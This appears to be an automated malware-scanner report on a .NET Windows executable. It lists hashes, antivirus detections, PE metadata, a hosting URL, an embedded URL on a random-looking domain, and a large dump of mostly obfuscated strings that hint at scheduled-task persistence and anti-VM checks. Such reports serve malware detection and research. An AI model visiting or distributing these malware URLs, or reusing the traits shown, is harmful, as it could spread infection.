MalScore
100/100

TBYc9iY

Is DLL Packer Anti Debug Anti VM Signed XOR AntiVirus 20/67 Related 2712
File details Download PDF Report
File type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
File size: 499.00 KB (510976 bytes)
Compile time: 2018-06-24 22:54:49
MD5: fa783913147494c625e7e07717e05ec0
SHA1: 176617a637d3e76234ce3557771d74ad4e3293e7
SHA256: 170979367f14ef7c4efc25dbd5c651d21b3a5e9461c82c2521d7e47d29bb7db2
Import hash: f34d5f2d4577ed6d9ceec516c1f5a744
Sections 3 .text .rsrc .reloc
Directories 4 import resource debug relocation
Anti Virtual Machine 1 VMCheck.dll
First submission: 2018-06-25 17:06:02
Last submission: 2018-06-25 17:06:02
Filename detected: - TBYc9iY (1)
URL file hosting
hXXp://uploadtops.is/1/f/TBYc9iYVirusTotal
Antivirus Report
Report Date Detection Ratio Permalink Update
2018-06-25 07:08:28 [20/67] VirusTotal
PE Sections 1 suspicious
Name VAddress VSize Size MD5 SHA1
.text 0x2000 0x59d9e 368128 1bf5cca9279d0c38c2b246ef1d323ae8 9506bfd7f430944c28b6c0e10fcd3967b7661b9c
.rsrc 0x5c000 0x22850 141824 b7576ce93f9fe7203c1dfdbb27bf79e3 98faaef20375c706f9d639f5d4a56575fb9db661
.reloc 0x80000 0xc 512 3396498fafc1cd25b7abce3b4fd640f3 3c69591ab14a5eeeb54d337c1fbb066aeef67058
PE Resources
Name Offset Size Language Sublanguage Data
RT_ICON 0x6dcf8 67624 LANG_NEUTRAL SUBLANG_NEUTRAL
RT_GROUP_ICON 0x7e530 104 LANG_NEUTRAL SUBLANG_NEUTRAL
RT_VERSION 0x7e5a8 680 LANG_NEUTRAL SUBLANG_NEUTRAL
  • API Alert
  • Anti Debug
Meta Info
LegalCopyright: @UBIYS
Assembly Version: 0.0.2.3
InternalName: EKYBMN.exe
FileVersion: 0.0.2.3
FileDescription: UBIYS
OriginalFilename: EKYBMN.exe
ProductVersion: 0.0.2.3
Translation: 0x0000 0x04b0
Comments: UBIYS
ProductName: UBIYS
XOR
No XOR informations found in this file.
Signature
This file isn't digitally signed
Packer(s)
No packers found for this file
File found
FIle type: Library
cguz.dll
wz.dll
ntdll.dll
mscoree.dll
KERNEL32.dll
kednwn70.dll
IP Found
0.0.2.3
URL(s)
http://saluoeq.miqvyqkdt.com/windows/200&+$2+oit/peck&<
String too long
ZTCVITTNUOIRIMREVMNMOZTRVZTNZZCXZNOIMZNZVIEIZEBNXUMZNVZXEIENBCNMTOZVVTNENVBRCVZMZETOXVNOBMNNIEMMXVNVXREXXEEIXXUIN
Possible connections
HCURLPNKYO
FileV
YBODY]
crning
Assem
Comments
opyright
[LOCATI
XXZRCIBTCTBIZ
FileVer
peuf
hjj
WinDir
InternalName
^System
2.0.5072
.0.0
[DLONCE
Translation
KIEZUNXRVCVCM
bnmQWERT
200004b0
VCXZRZVB
cchost.e
Tersion\P
LegalCopyright
ZIUIIEZUNXRVCVCMCUUBIOZMCVBNRTZIRUIZXZRCIBTCTBIZOUZZOZEOOVMNOOROXVNMICN
vtres
fogg
The Wir
"Version
ternalName
nCopyright
Version
Pras
kleInfo
VarFileInfo
jjh
FONCE]
.NET\Fra
mrkH
34567890
.50727\v
itsel
.xml
]VERSION_]\
FileVersion
Leg
32\svcho
Ori
@UBIYS
GR_
iginalFilenamq
host
CurrentV
mpsf
EKYBMN.exe
[MSGON
nicies\Sy
:Zone.Id
vName
posoft\Wi
StringFileI
ProductName
\.html\U
2
Softw
-wo
cguz.dll
.exe
open\comm
asks.exe
qableRegi
oo
jjx
entifier
& exit
cmd.
gxw
jjj
gxs
gnts
crosoft\
[SNA
\Mi
,0.0
qeremise
cho [zon
FileDescripti
0.0.
qlation
wz.dll
OICN
VS_VERSION_INFO
{Name
wrrentVeru
1.1.0.0
T\Framew
jjjjjj
@UVVTBBO
Assembly Version
warni
r]ZoneID
XOZEOOVMNOORO
k\v2.0.5
DTWARE\Mi
pnalName
Inj
N.exe
jark Network
Ava
/TN "
svchost
kozqk
ProductVersion
FGHJKLZX
ies.Reso
oductVersion
isk
SbieDll
siu
NegalTrad
[TITLE]
iopasdfg
csc
nyzer
oft.NET\
StringFileInfo
\Micr
ZIZVBUIRBUV
nename
xplorer\
kght
clepen
Fescripti
pingFileI
KYBMN.exe
000004b0
CTONOZNCZMECNB
FileDescription
vu2h9
@IOZMCVBNRTZI
0.0.0.0
OriginalFilename
Sof
bind
0.0.2.3
svc
mkapise
,exe
grazna
^Windows\Sa
ProgId
ZIZVB
BOUBTRUTOBRXTEZTU
UBIYS
VS_VERSION_
RunL
mductVers
4.pa
B5mU
ORUIMFHVA
o;(D$l
k~yU!
DWB^P]@HEVKK
HWJXDWUZWPD
NNNDR
IVVLCRHJPED
KENEWPYFJSZY
JGJQZDBJDWGQ
1Zyn[o
PDZECFRCHGP
$K\7
RDVTHJQUC
GYMVENWMJ
TZDISEYTPYR
HRCJXANSMQQ
KBQHDWOCXGGC
UnverifiableCodeAttribute
KDLBDNWLF
BUMLMLTJFAGV
RLBHK
XJAPAGOZHOO
RsuSah
NGGFDVXK
DEYUKDUJRH
F0@B
Dt3c
IAYUZO
XZOLXBB^JAXM
.xB9
GSVDXBCA
OWEKJWHRB
WRTBBLRJMDOX
IDICPSMM
OFSZVR
HQRBNKFRN
NANVELHOY
u /R
WYMBGDTYTKG
CAHanplw
WIPMKSFKYBM
CDCSWBI
GMTSXHBJITGG
FRMYYUWGGSW
3u@
PSXPKUDYJ
[KOR@QQX
SGU^HNDKJLQK
PASETJQMM
XPTNRCDZL
GDOBFP
ZOUNOYMGCSS
YGZFU
GESBRDU
UAQRIRRFOEMX
STRWV
GSBVZ
YEPXI
\VCNHRMG
QHYRE
UAKBPJCYNFX
W}ktTerification
YAKSSCU
MWXUNNY
UHKOI
USYOPQWDQLO
THLYEWQ
CGAWIKBMHZG
VDLSG
b4;~
QQHFQSZEGF
INDONAUGTJM
RHNIKECZVGFQ
pSeawfip{Descriptor
IZZSWKA
NRTHOCSSR^
Gk6*
Tj"j
a xtR
UJ(-j]=e
JRGLO
O@.C
GFOXJGDLGHEL
ZLIIHOSYYU
Xc0
QSx
CDGNBKKFRW
-Age
KUMHQHRDYETE
XHIBLLFRHZU
D#E=9
AYVSXT
HXGUO
QKNMFVTUHGG
BMZDEY
Ng<bE
ZJNERTSD
VZUIYHHUAOX
VJ->
L^\JCJZUKMZO
-^v\
AGJYVDIIIKHM
JOSZVWNRG
j@nAgXH(
ZTDQSFQTDIVI
VQHFQWYNGFFK
YCZLGYWMSSJ
HSINUTPNDFAS
[ UPW
IEXLPIWBLQ
XKSOQNFSR
SFLZYJXVRUE
WJRXNOGQLYQP
MONDIPIZYXD
Szms
GBNXUQFTUV
%r%
AGAFF
YOAYGSM
DRMZLIMYH_KN
BRLVCE
ECX@PP
YX[UJHGG
\>Pv
FPKFZCJDFEO
BDJTEWVXMD
@EGTb
T^EOVWFMNMI
QVBCVGICF
KBYWUAU
gav_TickCount
proc2
J\WXQQCZJWFI
ECDUEYFTZEN
QegDc
QNTUPGST
CLJMDRSIPVJ
Q @h
PHZEUJXZLGBI
CEDMUWZX
2>%o
RBLUQUMUGPR_
iS.G
HPCHNKSQ
QSOOQNGC]
AKLWEPEANVX
_pId
FLZRHSRWDD
AHIOGWPYQKBS
1 'k
^WSMCK
SEIJIMB
KFBMYILGTRE
bInheritHanbnws
YGYMUIOBCUN
DPSNERUZYZDM
BULAHZ
O hv
VPEIOHLGYO
(V(i
UGJHVVQHQRKR
X!yGW
WLKAVNJMAGC
rvix
ASSXCMY
PI,#
QVDRWUWFDZ
OUXCIH
TDD]RSYHAU[H
UBHVOROAOCJY
ePmRun>false</WakeToPw~<
MCOMPCDW
w A;^
KCBFKVUHSDR
TMJVBHTNOI
j@Sl
SRNIBGGOPJ
OTCWRDZZYKCX
]\4GK"?
EATUUYT
NZFNDTXCLK
PIABQXKAK
DqfcgccbleCpbrm`ute
VJNEPYKPSGUP
UDGRPFOJXR
aaptim|
SZAIW
^S7osgP
PPSBAXKOCIGN
BUFRSLHNFYCV
Hj#VS
'q
VLOBXLY
RVNMSEDQUTGE
2008b
MSRERZGJYKXY
BKPSQMWHYHB
QPRS
WVMWTMY
IUJKQVFHQWQ
u 94r
QRPRW
LNITDQM
VTMKWDUOXMQD
EHURGJ
OZMMHHPOHGMV
DOVGML
F_PPRYZMBWO
nBSj
DqhwtaDile
h2N Hz
apBB
JZPOMAKDQVMZ
QHTVRREIJSEM
ZFWYWHFCSE
4r?bT
GKWHKOSAXXGE
j VW
FPOBFZMP
GetParameterq
MYFTN
GXOHOUZZOR
RBQMFQGEQBAK
QZMHYCQSE
HTVACZCQLIX
AGUODFLQR\F
.text
HDUCWIOMYHDF
YRAIZPRNOVPL
WFATQDCX
UYLMH
EWYWRIMPOG
NYWSLSGNW
GetObject
[eyX
XIULX
FOKVGFGUBX
IREULCY
Fz&_
TQFCZQHSN
ZPKKTWEE
WJ,L
Listr5
HNZI^WRS]M
IEFSCLMBFWQT
ThreadAccess
Sufukqpgm
CE]KMYH^LGG
AEHOTEHXRELX
KGJHUYDNYRJ
RNSRARTYXUHF
JMJUCIE
UMCPFFSTG
VFDGJNHRM
NXPQJJOWMH
@jwW
FYOKZQCHNEVP
TZFXK
KEBBXV
AWHCUKGNZHS
QSFIORWFRJ
LSBAEVJMJ
NIJJMKU
p3 #c
Qaatio|E~kclment
EFlags
MCVGQEJSAJ
OYZGYZYCW
WZZBONGR
GZVXWA
YOBMXCMBZE
OSGCWWPTPBL
IOWALLJQCAJ
!9,k
ZRIITGJ
ITO[YHJ
QQEZLKNEPSA
OOKNJ
sVt{caqsName
Assembly
HSDIPIO
xV7
UTRS
KCDOTHIBQZTA
BTLFZMNLKEN
QICZVFNJGEHN
SAQCVES
Wmspgm.Security.Princi`ex
VWXHBLCNVVWS
EHTSEDEPCPVD
MGGLTHCBO
FMPPZZH@KBT
EZFOTBFOKHQP
JUjr
UFICXDZTNKEX
HJIHAOV
lS=0
ZPL"
FDWP
RQMHVV
XWMCQKYG
AJWPOGGQNWRN
TEOVNEGWFQ
QWTPOEYVCRZP
3=)x"
MIJVC
UKYUFBDYGQAV
IGCRUNJPBUIU
ViprachRrotwedG|
p 90s
p 90u
V@VHDVFBJFRV
SWHSFRBW
IYNQB
MIWMVQTQZR
WRKJZWVJAVIU
HDMXKSAR
ASWQWSV
PKDIGXQLRUXW
AXEEBZCLZQQH
MDOOODYJ_SQ
KTCWJQWIVK
DOVXLEYBV
WDLIXPCQBB
=Q`6
GgpWtppibutes
Wj?P
B^V[D]
RZOZBGE
QON@EMH_HCBU
FTWHDFXLU
UGQPUSEKAW
QDGPJEMO[
BHGMGGK
YVSZJMGT
PJRMS
ODLWMMECUNO
XORBL
\FRMFU\LZPFZ
KFDDU
OMFONHZTISOV
9H u
JFRWSU
FHRIYFDWQ
JVZOBKTLMFQJ
MKUSUXVIEEJQ
}8- 9
KKEDYMJYL
MSLIZLAXMNQJ
NTQSVRCOBIDI
ME&k
LIUGSBQ_]IOP
OZOMDOJGFD
UVKJLREHXJIA
UGLBSSIF
WVTFWND
CXYHYFSSENKX
OTMQAFLHAV
AXJMGECKIST
NCZNMFZWNR^H
RBRRROTFHDV
=;.p
LTYOR
ATVFEFRR]C
QXPQOOTNCVE
VRJLAJANSWX
BSHJFQ
\lh3:(3
AGKDFAYHLMWP
IJZBHXGAD
WJAUBYSOM
NRZDIMHNP
Xu
Tj j
scH:
OE@OADTL^UC
I[QPXE
GFMEGNHRQYF@
WOBHIJTV
YLNSDFRMX
ILICCA
QYQSSBGK
XTBPXZLQ
EACBVTPJD
" <AllowStartOnDamun`<trug8=ChnowStartOnDemand> &4 $>Enapjsd:vrue</Enabled> ""(Hmfden<dqlwg</Hidden> <RslYlh{IfIplw<bclse</RunOnlyIfIdlu>
ZLIGRJPJSDQ
OKVCWYTPV
_-4G1n
ISYYEZBLZX
nq i
MFYVDNM
NVUENTRLKVRR
BOLLBZ
OCWRZDSZYT
u PV
THRVNACPO
YULZDFRXZ
WXUIYGKRXENL
9FBNGq
THQIXXMEFBWZ
L8a/
SPATEMTZRZ
TK]X@VAIC
.+`1
OTJICBQXBOQ
NDHWOXEILM
I[!!
EBQKLHYEFQ
VDXQCECRUUGD
vh~h
DVEYYIYXS
QRWV
K+x'5
>jvG
System.Security
msckt~if
AMIHZPRD
UQHTDVIUALEJ
OXNIYVIUOWBX
Boolegj
VWTBSYIF
NZWBSEIMZWHP
QUKAMAAKUV
@VRJ@TTPP
W ]^[
DRCVLNLYZY
XEULCDSZVJJ
ZSKXJDQMAODE
_EGDVAU
DJUDQTX
WXDSCFKDVZKM
System
NVUYCGON
NUKYPIAYCXU
PSWONQ
MmlorSsba{wvemVersion
VLWDJTUYRRN
FZIMQ
FXFTARZUIWU
NJDIESUK
z@Wh
KRFBY
BZAKYRNQL
VLOQAJQTSFX
TAHHGUQFQY
WAFZEAPYUQR
PLSVFHT
MethodBase
Y0' [<8"
IBCGOR
OYCKSHTUC
SecurityIdent}b{ev
OTMRGGSDHGK
AZYNUQTUPHI
JNWQTPXFQJ
ZAG@JOJBIVRJ
ITSETJWVWAR
KODUKTAERION
GTOMNGRPWMJZ
MMAQFXXOQC
LHECAG
CFINHCCRH
XBYIUNQTPU^Y
ORNDC
NMXBCCAB
VXQPPJSSRM
RIAPPQBEPU
ESOXBZAAOCGX
VPRFP
OQDXOUPLAOC
EPKUOPAOQULW
DNSCJTDMFKWS
RHGCEM
DDBDCAOGOD
OVXUF
KNZNOQBF
Vd^o
eraznataguz
JWXMOUE
ORJYGFM
ZKQX^LP
n9ZP
MVLROTCRQ
QLSTMDCKZOPQ
URMZCOZVTVPT
A\TTXGDL_
W{steo,De|v.RegularExpressiohu
DDNCPUHXQT
<VkwcllowStartIfOnBattqv
v<C
Q CRT
TQPXMCNXBSD
QNDWIHMGS
CRSBJ
CSWDOQVGVHRI
HLGQCWPQRKZL
HKMZSK
ABQRWDUWFL
JZQNUHAJRYU
EULYBJDKBW
BKNPAFGUUVX
NFNRFIDTAEV
IYUNMZC
nt:
Iill
FXNICPJEGZD
GGYCAFSTMJIY
YDDBSXHOCLT
QJVBPZV\_SNN
FGALJIEYZFND
UHIKSTR
CORAHRHYYNG
Q@._
RQHIRRIR
TBDPRPZ
MGYGNEMRWMBO
IXEULTXS
FIDWNLVO
DUKSQFJNAL
VYGHDFRRBQBV
UMMYCUKQOMI
h5-2
NORAINLCK
VEIRGCCJ
TPWMSGREAH
TANOQRTYA
QGLLRSU
DUQX\^UZH
<>DuG
Ha1w
WZRVK
DIPVSWFZFUJN
FQEBBYXCLKR
x=#U_
advapi'6<fhn
LPXNWSKWAQBI
3- wm2
EWRGAQSZYTE
tM#'f
EAISYI
" <Command>[LOEGFKKL]</Eiymeld> </Exec> &*/Eatiolq*
A PV
y>-H
KHEEGQVDDBUE
JJQUJHL
XSMHVB
RYEXFGG
j%VU
w PV
ZSOSNDMWRU
KWCLJNPEDE
WWYPQZ
QJDGRXECUSGE
TGEEFWXHWU
FTWMDPQHXI
9hM
FJMFQTARC
XJ*`XK-
CMNBZW
YYJWOYRO
W{ste},QoironentModel
IWBOFV
NNOQPYSSLXKS
DFVCSHDR
LPMTMYFKA
X]PDMXKGK
E[T]@SKKE
k9.
Pj j
ASBWHUKRDMVQ
SBEYVPASO
YCVIDKYAXQ
OHLMZZNQQYJX
NSLZAUDM
Wrgr\ojGxcevpyojVhrows
NFJGQRKQWRVQ
modit
SetGturpoentUrsva
MVOWG
IGGRNAQHABL
VRIRYUMMBIZ
ZFOGUPMLQ
HETHDICBKAI
GWWPLRIBXNBQ
d_w.
z}Iv
XRFSBL
UGZGY
pf Cp
KRJSYRE
OMXVCPDLBYJ
XK,QYL.
VUDZTQUDM
kb@W}L0
BCCEXWOXSYF
ORBSSXTZX
[% 9%
LRWZNTYNV
ZAMXTOAKYNQU
OEXYWVLYFCQW
VREFJGIDY
PBOBIQUVDWH
Usgei`lyT{t~eEvtribute
CGTNRPHBUZVC
QTYLKXLQZV
aq[s;Fi
TOTWU
Z",=
QWSQUCYQ
PZNQSRBAPF
j WV
KHLYXDECSXTG
ZLHYCIMMS
ZSGEUVLSTW
AQ&,H
gevMTA
USSNZW
5uK9
EKYBMN.exeSICMAYO.exe
u Wh
TVPACF
hModule
OFQGSSTKNYL
KSQEK[GJ
4|L:4
ZRGAKATEOAUT
LVJXK_KW@S
WPXVIMWPR
YJUGRXT
RQBPEVNAMV
VPDX@AHU
XXXXWJO
YQUACELCWOEL
)I^`j
RATZS
EWNYTTWXEE
AFRSVKTQUOK
EKS[OFLEGHV
UNKHDQK
DWBFCODQLVYB
<WTW
yi4*
>4en
BPMNNMOQ
LDYVFTUOCQDA
[XIZWWXNINAE
?#w5
QSVTTMTRKQUJ
GRBAILSPP
LGFSRCXT
(G'
r1w8t
UF(3SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4SE,4PA(3OF#
9H e
=LIc
ZMXSEDAF
!eY2
EMWAAA@OZA
"1dz
9H u
N4S@
EXAMPRLG
QXJEJIIOV
BELUAL
sSB
e_oemid
LEFNGNGARMYE
IZUXDVUKCRAI
YKIJV
ONAQEACIVA@
02 G*
ODAWQKCGKHCL
IZMMSQOSPFEJ
TAEENVDZUEIH
KUFTULF
BQBBXUPW
ZHCSSUBWTYQ
CSS^TIISHUK
NVCSB
IUGJN
UVYVCAWA
GalericSecurityDescrivbov
ToInt32
AMCSYJQACIHM
Tj&j
RKhM0
VJWWPEVFWD
UPPKHIBBAGWS
MBEINGNYVV
C9%
BOHQIAWWM
CXOJZ
Waib@}rAzit
VEOOTBEWCF
SEMRJHUEWQ
TIOKMTEE@
b[kh
CGSAHDZBQCL
OpenThread
ZRUAIOMDL
FERPE]Y\LUUA
FDCNZFY
WQXXSCLH
REYZXZBZUQV
GVMZXEIP
ICQDAN@LSX
JWBBBFD
ZWWCTRCA
X|Z<
GBAZTASIYD@
EKQEHYJJL
VQUKRT
IHDAVYH
ZWAOOJWMIK
WWLTSIJS
Ithaat
LigqlIcchihg
MBBYWDUGICK
IHWMDVVHGFTF
LIPGRCWV
LJUYHPHYPLBO
m d-
GVAMCGGU
ETRISSGOGRY
SFLSBVUSBX
WFOCLXIHS
QNWDXPLEG
MWHGKLG
u|TY
HUZ@ZTSAIHB
CFMWQNEGDZGW
CNPCOILWZNG
NMTISTZTNUIN
Hu
@ TW3
JTBZQGZBS
TXFAVOCBS
FREQFATFEKWL
FGXIHPUDOWB
Aontex`Fhcgs
DYBSV
GavEntt}Uqwgmbly
EFHIWIGPOARE
BEVCOTEQW
4: !
TIHRITJA@CH
BYC@RB
YXKAZUYBJOST
U WF
PIBLVCMKJUKX
.S"j)
VIOWBZTMWWZM
FXQCRFN
GDMIZYR
PEPPUGC
UVORUBMQLO
GLQPHXRGCKHA
NTMTCGIVADF
NHLTASMOCE
GetProcessesDoNeoe
PZ][
param0
VKETHOTWUDXA
MDKEQR\W@TBM
VXVKTQ
MDEAMB
<RtycaqsPedu,b[]0
VDQ]NSDMDWRE
SWCPABIT
XVYDAUIYKOHE
INFEVD
ECMLICKQMTAE
VWVFUMQRMRUS
t\S!
KYWOPDORVSV
MFKCT
EVJLMXAGJQ
UPTFHRXQU
Invoke
GQMDUGHFR
TPGZAWTA
getMFadault
FH/S
VKKQDJBNUCK
rvmc1
NRKBGVBCDN
WK+X
NQMBCZJZOMNK
RSDSS
IXVUCVTCK
6S.:Y:
IEEFMUFWQUGW
GKOVXESB
WOUANJEZTDU
SKQWQ
FFDZNVAING
EAYOALYTOQO
GYJCYVP
set_FilcNuoa
QSWJFK^VJYB
8_^[
F mP
RFYBIMY
GZUJNSPPEO
JLUWVRDXP
ODX^TVCVVGT
JMYHQOP
VWFTCDP:
CWGWLKIXCHN
NPFYD
VJTZABZTQXPB
j2RA
WEWIADOOL
LKOEWAXAZYQ
ZKUGFZX
KEKOUCHAV[X
BVBOIBFWLJSL
MYWUQILUNZ
LFMNJCGOQLNH
GVPNNNVZTILZ
RYMUGGQVPA
XDWZMOESNVD
LLKRXZ
SRURBBZVXACN
BKORFDYMBGGK
VBD^
UAOEOGIY
CgtCurrentProcess
FVIDDTKJPQXJ
VORTLXITAOB
NBZZX
SYPPNRBX
LGUFRKYBPLE
ZHIGCPLILGKY
TDMGDUIXB
YCNGMAEXVWNG
Hv<#
XGLGBGHOCNN
AUAKJ
Pn"j
RYDEBC
YRYLCYPWLRV
BBMKYQDE
KOTHZWTPCD
AYBSYDICNAND
ZXAVFQYDBB
GWFYUQNCAWNO
OSOXVOYACI
m$D(
UanlKnownSidType
NOJEXWGDDECW
RRHCKQWBIA
QGPXDDF
DileWtfrm`utes
YNRYQER
FromBwuw60Qtri|e
UK(3~rM
REQIYEIZQ
YZIPNUJIRDPZ
LAQKBARHR
PHLXFUL
OQMDHNLDWHE
RHKT[NL
_PWUMWSRPBV
RLSFPICNRBTL
EMIZZOCAASOA
CE\_CHOR
WPYNWPSJQ
u Sr
STKASHFAYPM
t O[
RuntimeCompatibilityAttribute
THUFOZ
CEIKAQQSYP
CNYZUUBI
LGTANDDXP
YPHAAHVXKOAK
u SV
System.Securif
JMXYGEQJPLH
HUCVEHNETESM
FDPEMSDWRR
XOUOWH
f\UQ
QXCLOEFECU
WFKISOLVKQO
QRAH@AJTCT
op_Equalmtm
FKBAABNP
BOTCTBEMUETZMXVTVROBBINEVNM
HDRPIEKGMZ
ATILKHVAKQ
ZACAHOOBKJE
SetKerne~KvhaatSeasfkp{
HGWZIHIVWEG
@TNZAWSLN
//wFPZ
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
OIUOPLPWFBM
FQFMCV
KLJCWNP
[P$q
'k$9N
MOGXRQ_HMJSN
0 DGk
QjxS
5/i~
LBGXZQDEJG
OIYPXVHWV
SORMNZNXVL
L5?8
EKMQODQNBDJP
=FBS
MAZXCU
Compilgr}ojPela~cfiklsAttribute
UDHFOXCFVKQL
XDKVMZULPMIO
PJSDSSWSNR
TEJVKLTWH
->/]
lpEnvironmenp
[MAYIDMAMUYM
MTDEYSB
BTPOJGIXEQB
QGNRTCGCJ
UTMXKDMDWGXD
XI,W
ARRIVQCABSOE
JNGDYYJPEVWT
UQFORGKCIAK
WJBWVENTIM
x7B%L'
G=-
RLKPGFPLO
MPDAHUGX
CLVSRHNOBS
MPSNHNSGRAL
IELMKQIWH
PQXXBNJXLBBQ
QJQPSR
NKRZXAII
BQZVZAOJBVGU
t I[
Om1 9
SUTDSHNT
XUHM^MW
FKHHRT
NQPNQTIPP
JTLCJSNIWNCC
XYMDTA
JWKTUGWVJAMF
EJJYZOOY
ECTKAW
ResourceManager
GetExecutingAssembly
OSAZYCDRJ
_u5V
BEJVGRHUNZLE
J[/]
] G/y
Q@JXSRNASC
RTFXYVI
MRSRNYXDCBRA
{2G
VGUBQWCO
SFST
+OS
KKHOAZTLQP
KQOJCQPXUPEE
AQUGMUNHLW
]MJWZWSDUSD
NTVGXOSDZGGX
GJRBPAMUR
_)OA
OBBFG
PAJGYR
[U\OGDGOE@CW
VJ]OELC
PointerToTa~ogctiozq
ZXGJGIWQFHIR
GZQCWQGLMLZJ
Tj$j
QSS~
HOWMHD]DDFK
BZEGA[GTKIW
z?'U
TUTMWWTALN
i%kh
JAXAVWMWKAGR
#E ]
KYVGCHYEGFO
ZOEFVWGKOP
NN@VZWRG
SWhs
BKLMWKIOWZU
e )
AHRLWWLAKO
OGKQBX
YIDJMXMFDN
NESWZDIUJYG
DTBMGD
[kdc
MZNETTONUV
QTCLQFGYTALO
WRTQROMFA
M5%-3
HXDPGCIZOJ
YFUELUCN
NBWEG
ZINJDJBLE
JPUHIQLRHIXP
KGARZSDBD
XLFBQTBJ
cMlbcnew
ZYPAM
Close
SHGRMYGPAO
(!.dg
QNVMRPLA
QSKVPXVXEKAB
Vj5j
ZSTTNKTIG
QTAFRKDQSTSQ
BEPYPAIRQKU
h^w8u
Ph!i
WHMTGXC
NDSFTHPUVL
RGPMOJLOR@J
J8 +vO
AD\TQRPPLAEM
I@FJONIIZY
S}cz
J{h]i
AHQWBLNEFRZU
RTOVOEURIMPH
M\YGTE
Serv
6y:B
CCYWQLFIZ
SI*1SI*1SI*1SI*1SI*1SI*1SI*1SI*1SI*1SI*1SI*1SI*1UJ*0QC(
ECXPPBMS
F@YV\FXZU
XLNXDWDJVT
WK-UcZ:
@UIFJKTFATAN
XRBSLXLO
JDYBGMFIHSLZ
b'>xo.
CJFPTNHM
AGOERHPXUP
AAYLP[VTRD
{b8U
FCTXUDSMZNV
T~ nljlV
CFTWKVZVE
BQPMSQXNM
UCRRYUATWWIM
]R%|a
MMTXZDWOUUH
PT@JZWWGWUU
YJOXIZOJBYQ
IQPYJPMRNTMQ
tWjIV
h1VS
mscorlib
ZYZIQIEYK]
JPLXNCK
FJMNNTBPO
PHOBONYXH
J\WCF@IG
NVYLNOW^[U
BFVSNBIT
feromero
set_Argumenbs
LMGKEJZ
PMTXRKLGE
MBJHTZ
LOCNKJPZSCFA
WindowsIdentity
VUSP
UH*<ZM.
BLWYPNVPMAD
PVXGZTZCEXS
$24"
IKMINQYAKHVN
FF.
QAFINHVKR
System.Diagnmwfkgq
Z^zO
WATGGGPQSX
Z4@
NGUBIBIBMBF
JwG
=*}"
SecurityPermissionAttribute
JX]_WSQCOVA
LFBICJLUJQP
STHLBUSVQXKJ
LMKUQJAZUXYO
KMWIQRWUW
T{#g1
DJMKFEPW
ZZTMWMOWZ
WLPHMZAFTJFP
DYCHQWABGM
ERHQOACUGMN
(F"c
ZRQMRFAUS]NP
NNEOCUSMNSJ
XOCDMHTATJE
WK]SJ
NKITCHQTYA
BXLMYVYUQVIO
WAENIWYLWCIP
BCBTSWAD@UP
WCPVWNQR
MDOFLASH
Qj&D
xC[}|d
XWWFWRQDVI
^k;?dv
QGA_M\U\FZGE
MCENQPAAF
KYQQKFH
_^[
ZVEOMJVDATFF
CQIBASLKQLJV
tgf->p`
YFLYPZFLHBL
VTQ_D\DZRMR
SLZJFUEN
PNKPIYTUXD
GrrobMtfwgt
YOE\GWWUNMKJ
UAYMQFUQQP
DHILTJLNMWP
JZWFGX
9H u =N
KMIKCRGFOJ
EZXKHWRDL
FCAQEEEGKFQN
JUGBTDMDUI
ISOHQI
NBDDOOH
EQSJNUEBPHE
XPOIW
u"hV
VjGj
TGDPCKWWNC
MWNTICIWJATW
ICLBIEWHTRC
Xnsg
FVKVEKYU
SIOUJTXCXUG
!This program cannot be run in DOS mode. $
GGu=
mscorec(plh
FAICC
EqtAlvirml}ejvVariable
PVBWFOAIYRGM
VGHTWYGSEZA
& ,a
PBILMKGKJL
DJBYKNOAIUWY
t,UY
]&rr
RSCJQOPENRLU
AERNVUWYFKY
YJVQFA
QFFCA
e_lfarlc
JMDXXM
FOJYRYTOLR
FMOCYLTV
RXWLSBNGQABE
FQOTAMTZZRS
ZWWGCKLKFTOK
lC2`:
IKWIVSHO
VRMGW^@MD
RXPZCYLUUMHU
l2p~
UQTYDOHFCBE
YFHCXCVP
BXMOEWPHTMJ
ZZB@UBU^VDFW
YBIJFFJDW
HGFZJTKNUAQ
BLBGEFFCCVR
BGQSJYJYF
KLBOLCTLBXJT
HTFAPTHMDAKG
j(VW
RENQPHFXK
C RU3
qo9]
DVSFLTLXASX
TUUELSZ
QDTHTXKL[PGQ
IDKJ]MS
:54>
Copyrislb
GMAGFAWFQSNL
7*w*
OJRPCRNHK
BDTMAKSRBRDQ
XABCEQIYAX_
HUXEONQG
NPx6
NPQDCYFCZBYI
YUWAOJJYWYCN
op_Inequality
MDSIN
LNUEXE
@SFQUKDKBG
ASYXQGJGYAQV
U8sX\*
Vj"0Z*
NCHTLSCTYWPE
DUADDWPDKRUP
JVIMJLVFIAR
E PV
IGLCBNDQYINF
E PQ
u 9p u
JRDANNZWJXLB
OGS\@QPQIUIW
IDJHKFRXHLIX
AOSLL
5o?L>
BUUECYDY
d(`@
EAQWPKF
QLDECZEOW
BQXMTAOBGF
va~wa]_
2012f
GVSTWZTIJTT
Rsjvmi
YGHPWEJ
VPNZLZBZOFO
joskb
WZZIOINPMA
LBM_MDIUFXCB
ZGODRPANVOQ
TEWYKXNIMUN
LTCWRES
EL}n
HCBVFIQYFP
(|S'}vV
CSQRJUHVLEMV
DTYQSXJVRHTO
ALTJVBARIGRH
Sysray.Skndows.Forms
UKBNWEEJYNSJ
GBEKXKVLR
mjae
SEBDUELPSAGA
FURKSMYB
CYEXZOJHEKSQ
MMUHWPRHYIDY
MDVCULZ
WCYSYASBM
y^\`
@ALMRYOQZ
EUYAWWOJWMFX
WUZKRNGGRV
UBPCHPECNML
MVEQJVPXML
k$G ;'
ISIYZJER
KYFZCXJUGEF
GetBinaryForm
GTGPNJMGPPNZ
JWANCTLLHKHJ
RUSLIEXBCJTD
SizeOf
DLFYRBMCS
W&ASVRVW
I<^-
JLUXINGGS
PYOLBLRKIY
HTKZFFHYEIRJ
MNCPRMBTC
UIUXE
OBZEXL
JOGRVHYJDUF
GZOPJSLNXX
QLBDKNGS
NtSetInformwr{ojRrocwqa
ZHZGYZMKUUBU
CYHXJSJSQQY
KBMTVQJVZHDY
RHSNIBGZ
